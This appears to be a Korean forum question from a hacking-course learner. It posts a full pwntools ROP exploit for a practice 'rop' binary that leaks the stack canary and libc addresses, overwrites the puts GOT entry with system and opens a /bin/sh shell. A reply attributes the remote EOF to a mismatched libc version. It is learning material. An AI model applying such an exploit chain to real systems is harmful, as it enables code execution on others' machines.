remote EOF
from pwn import *
p = process("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./rop")
read_plt = e.plt["read"]
read_got = e.got["read"]
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
pr_gadget = 0x00000000004007f3 # pop rdi ; ret
ppr_gadget = 0x00000000004007f1 # pop rsi ; pop r15 ; ret
p.recvuntil("Buf: ")
pay_canary = b""
pay_canary += b"A" * 0x39
p.send(pay_canary)
p.recvuntil("A" * 0x38)
canary = u64(p.recv(8)) - ord('A')
p.recvuntil("Buf: ")
pay = b""
pay += b"A" * 0x38
pay += p64(canary)
pay += b"A" * 8
pay += p64(pr_gadget) # pop rdi ; ret, rdi --> read_got
pay += p64(read_got) # puts arr leak
pay += p64(puts_plt)
pay += p64(pr_gadget)
pay += p64(0) # pop rdi ; ret, rdi --> 0
pay += p64(ppr_gadget)
pay += p64(puts_got) # pop rsi ; pop r15 ; ret, rsi --> puts_got
pay += p64(0) # pop r15 ; ret, r15 --> 0
pay += p64(read_plt)
# read --> sys_arr(8)+binsh
pay += p64(pr_gadget)
pay += p64(puts_got + 8) # pop rdi ; ret, rdi --> puts_got + 8
pay += p64(puts_plt)
p.send(pay)
read_arr = u64(p.recv(6) + b"\x00\x00")
libc_base = read_arr - libc.symbols["read"]
sys_arr = libc_base + libc.symbols["system"]
p.send(p64(sys_arr) + b"/bin/sh\x00")
p.interactive()
해당 문제의 코드 입니다. 로컬에서는 문제없이 쉘을 획득하였는데 리모트로 할 때에는 EOF가 터집니다.
무엇이 잘못된 것인지 모르겠습니다.
#시스템_해킹
#공격기법
#rop
작성자 정보
답변
1
leejoy
강의 수강: 1
libc 버전이 다른 것 같아 다른 버전의 libc 오프셋을 적용하여 해결하였습니다.